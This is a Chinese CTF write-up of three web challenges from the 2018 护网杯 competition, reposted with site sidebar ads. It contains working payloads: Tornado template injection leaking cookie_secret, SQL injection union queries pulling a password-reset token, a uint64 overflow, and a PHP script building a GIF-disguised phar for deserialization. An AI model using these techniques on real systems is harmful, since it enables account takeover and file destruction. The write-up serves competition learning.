2018护网杯-web部分题解

栏目: PHP · 发布时间: 6年前

内容简介:护网杯刚结束,记录一下做出的3道web(1道赛后解出),很遗憾有一道java没能解出。进入题目

2018护网杯-web部分题解

前记

护网杯刚结束,记录一下做出的3道web(1道赛后解出),很遗憾有一道 java 没能解出。

easy tornado

进入题目

http://49.4.78.81:30980/

发现有3个选项

http://49.4.78.81:30980/file?filename=Orz.txt&signature=9e3bb6483951e58b6095f949d572dd9a


Orz.txt 
render()

http://49.4.78.81:30980/file?filename=hint.txt&signature=74dfcb55b94ddbe4daedd3f21a68a2f1


hint.txt 
md5(cookie_secret + md5(filename))

http://49.4.78.81:30980/file?filename=flag.txt&signature=6a86c265598a92ae8bff5c9f7b9f2a72


flag.txt 
/fllllllllllag

发现意思很明确,有签名,读文件

那么现在要做的就是leak cookie_secret

发现

http://49.4.78.81:30980/error?msg={{1^0}}

可以进行模板注入,但过滤了非常多的符号,应该只能读个变量

阅读tornado源码

https://github.com/tornadoweb/tornado/blob/master/tornado/auth.py

发现 handler.settings 存放了cookie_secret

读取

http://49.4.78.81:30980/error?msg={{handler.settings}}

得到

Whoops, looks like somethings went wrong . 
{'login_url': '/login', 'template_path': 'templates', 'xsrf_cookies': True, 'cookie_secret': '0tG+hY[4ekR($v72OzJa)M9d!jV8sF.n1>{Zo#*pPIm_<W%L3-T~AuQlBbqr6}ig', 'debug': False, 'file_path': '/www/static/files', 'static_path': 'static'}

随机构造签名读flag

http://49.4.78.81:30980/file?filename=/fllllllllllag&signature=7bae09c2c6e2f6aa34df7dbee23db960

得到

/fllllllllllag 
flag{67a3d3dec827645c1c92d1f2160c744f}

ltshop

本能的条件竞争,换大辣条,50个线程,跑完发现自己有7个大辣条了,看来竞争略有成效

下面是辣条之王的艺术,考虑到是 go 语言,uint64可能存在溢出

http://www.it1352.com/808569.html

于是思考到,这里我们的兑换量应该*5,于是简单计算了一下

2018护网杯-web部分题解

然后我们这里兑换3689348814741910324即可溢出

2018护网杯-web部分题解

2018护网杯-web部分题解

easy_laravel

源码发现

这是本次的重量级题目:首先在f12源代码里发现

<!-- code: https://github.com/qqqqqqvq/easy_laravel -->

sql注入

于是下载源码,看一下控制器,不难发现有注入点

easy_laravel/app/Http/Controllers/NoteController.php

2018护网杯-web部分题解

于是尝试

admin' or 1#

2018护网杯-web部分题解

发现可以读到note,于是尝试union select

然后遇到了第一个坑点,我们在代码里可以看到

2018护网杯-web部分题解 于是我认为应该只有4列,然后一直就是wrong,wrong,wrong

很头疼的尝试了order by,发现是5列

注册: admin' order by 5#

2018护网杯-web部分题解 注册: admin' order by 6#

2018护网杯-web部分题解

然后尝试union select

2018护网杯-web部分题解

根据给出的表,我再信他一回:)

2018护网杯-web部分题解

admin' union select 1,(select password from users limit 0,1),3,4,5#

2018护网杯-web部分题解

2018护网杯-web部分题解

到这里为止,发现密码无法破解

那么如何登入管理员呢?

密码重置

这里还有一个表

2018护网杯-web部分题解

我们发现还能重置密码,而且只需要email和token!

那我们去拿管理员的token

admin' union select 1,(select token from password_resets limit 1,1),3,4,5#

2018护网杯-web部分题解

然后去重置管理员密码即可

2018护网杯-web部分题解

然后使用路径

http://49.4.78.81:31250/password/reset/1c9d0f377a75dd48abaa90dd7fa4eb35653da39561d6f9c33bdb14a8a0849616

2018护网杯-web部分题解

然后改密码即可登入管理员

到此为止,我们离flag又近了一步

登入后台

2018护网杯-web部分题解

发现有4个功能:upload,files,flag,note

这里flag点进去发现是 no flag

加上题目的提示:

2018护网杯-web部分题解

可以发现是blade过期的问题,这里简单搜索

https://www.jianshu.com/p/7d65f9eb94be

发现Blade 是 laravel 提供的一个简单强大的模板引擎。它不像其他流行的 PHP 模板引擎那样限制你在视图中使用原生的 PHP 代码,事实上它就是把 Blade 视图编译成原生的 PHP 代码并缓存起来。缓存会在 Blade 视图改变时而改变,这意味着 Blade 并没有给你的应用添加编译的负担。

所以我们这的思路很清晰:

1.因为旧的缓存存在,导致我们看不到flag

2.我们可以利用pop chain删掉缓存文件

3.读到flag

那么缓存文件在哪里呢?我们查看源码发现

2018护网杯-web部分题解

那cachepath又是哪里呢?想到最开始的提示

nginx是坠吼的 ( 好麻烦,默认配置也是坠吼的

那么很容易得知web目录

/usr/share/nginx/html

然后再去发掘blade缓存位置

https://www.jianshu.com/p/018c83d6b38c

发现是

/storage/framework/views

再结合sha1,得到最后的路径

/usr/share/nginx/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php

反序列化删除发掘

那么去哪里找删除函数呢?

这里发现 composer.json 中提供了大量组件,我们安装一下,然后全局搜索,容易发现有 unlink()

2018护网杯-web部分题解

phar神来之笔

那最后怎么触发序列化呢?这里用到了我们BlackHat会议演讲的phar://方法

参考这篇文章

https://xz.aliyun.com/t/2715

我们发现在check这里

2018护网杯-web部分题解

是会使用file_exists的,并且path和filename可控!

于是我们尝试构造

<?php
    include('autoload.php');
    $a = serialize(new Swift_ByteStream_TemporaryFileByteStream());
    var_dump(unserialize($a));
    var_dump($a);
    $a = preg_replace('//private/var/folders/dm/r80s8lp52bz1rcdhp5h9zlrw0000gn/T/FileByteStream[w]{6}/', "/usr/share/nginx/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php", $a);
    $a = str_replace('s:77', 's:90', $a);
    $b = unserialize($a);
    $p = new Phar('./skyfuck.phar', 0);
    $p->startBuffering();
    $p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
    $p->setMetadata($b);
    $p->addFromString('test.txt','text');
    $p->stopBuffering();
    rename('skyfuck.phar', 'skyfuck.gif')
?>

然后上传后触发

2018护网杯-web部分题解

最后即可看到flag

2018护网杯-web部分题解

后记

这次护网杯的题目还是很nice的,感谢4uuu Nya大佬的nice题目,和赛后帮助我理解Laravel的bendawang师傅,给跪了~


以上所述就是小编给大家介绍的《2018护网杯-web部分题解》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Python机器学习基础教程

Python机器学习基础教程

[德]安德里亚斯·穆勒、[美]莎拉·吉多 / 张亮 / 人民邮电出版社 / 2018-1 / 79.00元

本书是机器学习入门书,以Python语言介绍。主要内容包括:机器学习的基本概念及其应用;实践中最常用的机器学习算法以及这些算法的优缺点;在机器学习中待处理数据的呈现方式的重要性,以及应重点关注数据的哪些方面;模型评估和调参的高级方法,重点讲解交叉验证和网格搜索;管道的概念;如何将前面各章的方法应用到文本数据上,还介绍了一些文本特有的处理方法。一起来看看 《Python机器学习基础教程》 这本书的介绍吧!

Markdown 在线编辑器
Markdown 在线编辑器

Markdown 在线编辑器

正则表达式在线测试
正则表达式在线测试

正则表达式在线测试

HEX CMYK 转换工具
HEX CMYK 转换工具

HEX CMYK 互转工具